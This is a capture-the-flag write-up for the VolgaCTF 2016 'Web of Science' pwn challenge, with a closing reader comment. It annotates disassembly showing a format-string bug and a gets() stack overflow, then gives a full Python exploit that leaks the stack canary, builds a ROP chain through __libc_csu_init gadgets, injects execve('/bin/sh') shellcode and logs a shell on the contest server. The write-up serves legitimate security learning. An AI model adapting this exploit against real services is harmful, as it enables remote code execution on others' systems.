I'm weak in Engrish:(
- Keywords
- Buffer overflow (stack based)
- Return Oriented Programming (abbr: ROP)
- Shellcoding
__libc_csu_init()
First, look at the objdumpped code shown below. I emphasized the vulnerabilities with 'XXX'.
(snip)
; auth
4007cd: 55 push %rbp
4007ce: 48 89 e5 mov %rsp,%rbp
4007d1: 53 push %rbx
4007d2: 48 81 ec 38 01 00 00 sub $0x138,%rsp
; put a canary
4007d9: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
4007e0: 00 00
4007e2: 48 89 45 e8 mov %rax,-0x18(%rbp)
4007e6: 31 c0 xor %eax,%eax
4007e8: c7 85 cc fe ff ff 0a movl $0xa,-0x134(%rbp)
4007ef: 00 00 00
4007f2: c7 85 c4 fe ff ff 00 movl $0x0,-0x13c(%rbp)
4007f9: 00 00 00
4007fc: c7 85 d0 fe ff ff 00 movl $0x0,-0x130(%rbp)
400803: 00 00 00
400806: c7 85 d4 fe ff ff 00 movl $0x0,-0x12c(%rbp)
40080d: 00 00 00
400810: c7 85 d8 fe ff ff 00 movl $0x0,-0x128(%rbp)
400817: 00 00 00
40081a: c7 85 dc fe ff ff 00 movl $0x0,-0x124(%rbp)
400821: 00 00 00
400824: c7 85 c8 fe ff ff 00 movl $0x0,-0x138(%rbp)
40082b: 00 00 00
40082e: bf c8 10 40 00 mov $0x4010c8,%edi
400833: e8 f8 fd ff ff callq 400630 <puts@plt>
400838: 48 8d 85 e0 fe ff ff lea -0x120(%rbp),%rax
40083f: 48 89 c7 mov %rax,%rdi
400842: e8 59 fe ff ff callq 4006a0 <gets@plt>
; strlen(name)
400847: 48 8d 85 e0 fe ff ff lea -0x120(%rbp),%rax
40084e: 48 c7 c1 ff ff ff ff mov $0xffffffffffffffff,%rcx
400855: 48 89 c2 mov %rax,%rdx
400858: b8 00 00 00 00 mov $0x0,%eax
40085d: 48 89 d7 mov %rdx,%rdi
400860: f2 ae repnz scas %es:(%rdi),%al
400862: 48 89 c8 mov %rcx,%rax
400865: 48 f7 d0 not %rax
400868: 48 8d 50 ff lea -0x1(%rax),%rdx
40086c: 48 8d 85 e0 fe ff ff lea -0x120(%rbp),%rax
400873: 48 01 d0 add %rdx,%rax
400876: 48 bb 2c 20 79 6f 75 movabs $0x722072756f79202c,%rbx
40087d: 72 20 72
400880: 48 89 18 mov %rbx,(%rax)
400883: 48 be 65 73 70 6f 6e movabs $0x3a65736e6f707365,%rsi
40088a: 73 65 3a
40088d: 48 89 70 08 mov %rsi,0x8(%rax)
400891: 66 c7 40 10 20 00 movw $0x20,0x10(%rax)
400897: bf e0 10 40 00 mov $0x4010e0,%edi
40089c: e8 8f fd ff ff callq 400630 <puts@plt>
4008a1: c7 85 c4 fe ff ff 00 movl $0x0,-0x13c(%rbp)
4008a8: 00 00 00
4008ab: e9 b1 00 00 00 jmpq 400961 <rand@plt+0x291>
; for start (10 times)
4008b0: e8 1b fe ff ff callq 4006d0 <rand@plt>
4008b5: 99 cltd
4008b6: c1 ea 10 shr $0x10,%edx
4008b9: 01 d0 add %edx,%eax
4008bb: 0f b7 c0 movzwl %ax,%eax
4008be: 29 d0 sub %edx,%eax
4008c0: 89 85 d0 fe ff ff mov %eax,-0x130(%rbp)
4008c6: e8 05 fe ff ff callq 4006d0 <rand@plt>
4008cb: 99 cltd
4008cc: c1 ea 10 shr $0x10,%edx
4008cf: 01 d0 add %edx,%eax
4008d1: 0f b7 c0 movzwl %ax,%eax
4008d4: 29 d0 sub %edx,%eax
4008d6: 89 85 d4 fe ff ff mov %eax,-0x12c(%rbp)
4008dc: 8b 85 d4 fe ff ff mov -0x12c(%rbp),%eax
4008e2: 8b 95 d0 fe ff ff mov -0x130(%rbp),%edx
4008e8: 01 d0 add %edx,%eax
4008ea: 89 85 d8 fe ff ff mov %eax,-0x128(%rbp)
4008f0: 8b 95 d4 fe ff ff mov -0x12c(%rbp),%edx
4008f6: 8b 85 d0 fe ff ff mov -0x130(%rbp),%eax
4008fc: 89 c6 mov %eax,%esi
4008fe: bf 0e 11 40 00 mov $0x40110e,%edi
400903: b8 00 00 00 00 mov $0x0,%eax
400908: e8 43 fd ff ff callq 400650 <printf@plt>
40090d: 48 8d 85 e0 fe ff ff lea -0x120(%rbp),%rax
400914: 48 89 c7 mov %rax,%rdi
400917: b8 00 00 00 00 mov $0x0,%eax
40091c: e8 2f fd ff ff callq 400650 <printf@plt> ; XXX: fsb
400921: 48 8d 85 60 ff ff ff lea -0xa0(%rbp),%rax
400928: 48 89 c7 mov %rax,%rdi
40092b: e8 70 fd ff ff callq 4006a0 <gets@plt> ; XXX: sbof
400930: 48 8d 85 60 ff ff ff lea -0xa0(%rbp),%rax
400937: 48 89 c7 mov %rax,%rdi
40093a: e8 81 fd ff ff callq 4006c0 <atoi@plt>
40093f: 89 85 dc fe ff ff mov %eax,-0x124(%rbp)
400945: 8b 85 d8 fe ff ff mov -0x128(%rbp),%eax
40094b: 3b 85 dc fe ff ff cmp -0x124(%rbp),%eax
400951: 75 07 jne 40095a <rand@plt+0x28a>
400953: 83 85 c8 fe ff ff 01 addl $0x1,-0x138(%rbp)
40095a: 83 85 c4 fe ff ff 01 addl $0x1,-0x13c(%rbp)
400961: 8b 85 c4 fe ff ff mov -0x13c(%rbp),%eax
400967: 3b 85 cc fe ff ff cmp -0x134(%rbp),%eax
40096d: 0f 8c 3d ff ff ff jl 4008b0 <rand@plt+0x1e0>
; for end
400973: 8b 85 c8 fe ff ff mov -0x138(%rbp),%eax
400979: 3b 85 cc fe ff ff cmp -0x134(%rbp),%eax
40097f: 75 07 jne 400988 <rand@plt+0x2b8>
400981: b8 00 00 00 00 mov $0x0,%eax
400986: eb 05 jmp 40098d <rand@plt+0x2bd>
400988: b8 01 00 00 00 mov $0x1,%eax
; checks canary
40098d: 48 8b 5d e8 mov -0x18(%rbp),%rbx
400991: 64 48 33 1c 25 28 00 xor %fs:0x28,%rbx
400998: 00 00
40099a: 74 05 je 4009a1 <rand@plt+0x2d1>
40099c: e8 9f fc ff ff callq 400640 <__stack_chk_fail@plt>
4009a1: 48 81 c4 38 01 00 00 add $0x138,%rsp
4009a8: 5b pop %rbx
4009a9: 5d pop %rbp
4009aa: c3 retq
(snip)
; a pretty good gadget
401080: 4c 89 ea mov %r13,%rdx
401083: 4c 89 f6 mov %r14,%rsi
401086: 44 89 ff mov %r15d,%edi
401089: 41 ff 14 dc callq *(%r12,%rbx,8)
40108d: 48 83 c3 01 add $0x1,%rbx
401091: 48 39 eb cmp %rbp,%rbx
401094: 75 ea jne 401080 <rand@plt+0x9b0>
401096: 48 83 c4 08 add $0x8,%rsp
40109a: 5b pop %rbx
40109b: 5d pop %rbp
40109c: 41 5c pop %r12
40109e: 41 5d pop %r13
4010a0: 41 5e pop %r14
4010a2: 41 5f pop %r15
4010a4: c3 retq
(snip)
OK, think how to exploit.
-
First, the binary isn't set NX.
so we might be able to put shellcode on somewhere and execute it ;) -
The part of the authentication has 2 vulnerabilities.
the other is format string bug which is caused byprintf()
. we can leak the canary!
the one is buffer overflow which is caused bygets()
. we can lead to an overflow! -
We can call any function which is passed 3 arguments.
it's provided by__libc_csu_init()
.
My method is shown in below.
- set the name as
"%p"
and leak the canary. - cause the overflow on the human check and lead to ROP(that chain contains
__libc_csu_init
). - call
gets()
and put the shellcode on somewhere in .bss section. - return to the somewhere and get shell!
#!/usr/bin/env python2
import hashlib
import re
import socket
import string
import struct
import subprocess
import sys
import time
import telnetlib
def read_until(f, delim='\n'):
data = ""
while not data.endswith(delim):
data += f.read(1)
return data
def connect(rhp=("localhost", 52608)):
message('+', "Connect to %s:%d"%(rhp))
s = socket.create_connection(rhp)
f = s.makefile('rw', bufsize=0)
return s, f
def interact(s):
t = telnetlib.Telnet()
t.sock = s
print "[+] 4ll y0U n33D 15 5h3ll!!"
t.interact()
def p(x, t="<Q"):
return struct.pack(t, x)
def pn(l):
return ''.join(map(p, l))
def u(x, t="<Q"):
return struct.unpack(t, x)[0]
def unsigned(x):
return u(p(x, t="<q"), t="<Q")
def gen_shellcode(source, bits=32):
source = "".join([
"BITS %d\n"%(bits),
source,
])
filename = hashlib.md5(source).hexdigest()
with open("/tmp/%s.s"%(filename), "wb") as f:
f.write(source)
subprocess.call("nasm /tmp/%s.s -o /tmp/%s"%(filename, filename), shell=True)
with open("/tmp/%s"%filename, "rb") as f:
shellcode = f.read()
return filename, shellcode
def message(message_type, message_body, value=None):
text = ""
if value:
text = "[{}] {}: 0x{:08x}".format(message_type, message_body, value)
else:
text = "[{}] {}".format(message_type, message_body)
print text
if len(subprocess.sys.argv) != 3:
print >> subprocess.sys.stderr, "Usage: %s HOST PORT"%(subprocess.sys.argv[0])
subprocess.sys.exit(1)
got_gets = 0x602050
got___libc_start_main = 0x602030
gadget2 = 0x401080 # pass 3 arguments to the funcion
'''
401080: 4c 89 ea mov %r13,%rdx
401083: 4c 89 f6 mov %r14,%rsi
401086: 44 89 ff mov %r15d,%edi
401089: 41 ff 14 dc callq *(%r12,%rbx,8)
40108d: 48 83 c3 01 add $0x1,%rbx
401091: 48 39 eb cmp %rbp,%rbx
401094: 75 ea jne 401080 <rand@plt+0x9b0>
401096: 48 83 c4 08 add $0x8,%rsp
'''
gadget1 = 0x40109a # set the function and 3 arguments.
'''
40109a: 5b pop %rbx
40109b: 5d pop %rbp
40109c: 41 5c pop %r12
40109e: 41 5d pop %r13
4010a0: 41 5e pop %r14
4010a2: 41 5f pop %r15
4010a4: c3 retq
'''
stage = 0x0000000000602080+0x10
host, port = sys.argv[1:]
rhp = (host, int(port))
s, f = connect(rhp)
read_until(f)
stack_canary_position = 6+296/8
payload = '%{}$p'.format(stack_canary_position)
f.write(payload+'\n')
# skip the process of auth 9 times
for i in xrange(9):
read_until(f, 'response: ')
f.write('\n')
# retrieve the canary
read_until(f)
data = read_until(f, 'response: ')
result = re.match(r'0x([0-9a-f]+)', data)
if result:
message('D', data)
canary = int(result.group(0), 0x10)
message('+', 'canary', canary)
# construct ROP-chain.
payload = ''.join((
'\0'*(0xa0-0x18), # junks
p(canary), # rbp-0x18
'P'*(0x8*3), # junks contains saved rbp
# vvv old retaddr vvv
p(gadget1),
pn([0x0, 0x1, got_gets, 0x0, 0x0, stage]), # pop these values to [rbx, rbp, r12, r13, r14, r15]
p(gadget2), # call gets() and input to address of stage
# (...umm, just a buffer not stage ^^^^^)
pn([0x0]+[0x0]*0x6), # junks for pop-ing
p(stage), # ret2shellcode
))
f.write(payload+'\n')
filename, payload = gen_shellcode('''
jmp tail
head:
pop rdi
xor esi, esi
xor edx, edx
xor eax, eax
mov al, 0x3b
syscall
tail:
call head
binsh: db "/bin/sh", 0
''', bits=64)
message('+', 'payload(%s: %dbytes):\n%s'%(filename, len(payload), repr(payload)))
f.write(payload+'\n')
interact(s)
'''
(17:57) hhc0null@XPS13% ./exploit.py webofscience.2016.volgactf.ru 45678 [~/ctf/current/pwn-Web_of_Science-250pts/dir] [1071]
[+] Connect to webofscience.2016.volgactf.ru:45678
[D] 0xd3f85bdfe4d5a900, your response:
[+] canary: 0xd3f85bdfe4d5a900
[+] payload(5551e1fe35595d7948deadd62ddbb410: 26bytes):
'\xeb\x0b_1\xf61\xd21\xc0\xb0;\x0f\x05\xe8\xf0\xff\xff\xff/bin/sh\x00'
[+] 4ll y0U n33D 15 5h3ll!!
ls
flag_wos.txt
install
start_wos
web_of_science
cat flag_wos.txt
VolgaCTF{executable_st@ck_doesnt_cause_@ny_problems_d0es_it}*** Connection closed by remote host ***
'''
I think my solution isn't an expected solution, maybe. we can solve the Web of science 2 by the same way(these problems were set non-ASLR so we were able to gain shell by just guessing its libc version.) but I've not finished Web of science 3 yet because I'd been prioritized cooking than hacking:P
I'll up its writeup asap if I weren't busy~~~
Have a good pwn day!
Hello. If you don't mind me asking, how did you find libc base address? libc from web_of_science 1 is at a different address